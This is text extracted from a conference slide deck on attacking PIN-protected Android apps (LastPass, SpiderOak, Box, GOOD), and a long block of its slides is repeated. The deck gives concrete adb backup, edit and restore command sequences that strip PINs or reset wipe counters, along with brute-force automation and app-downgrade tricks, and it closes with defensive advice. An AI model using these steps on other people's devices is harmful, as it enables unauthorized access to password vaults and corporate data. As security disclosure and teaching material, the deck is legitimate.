bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 46: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

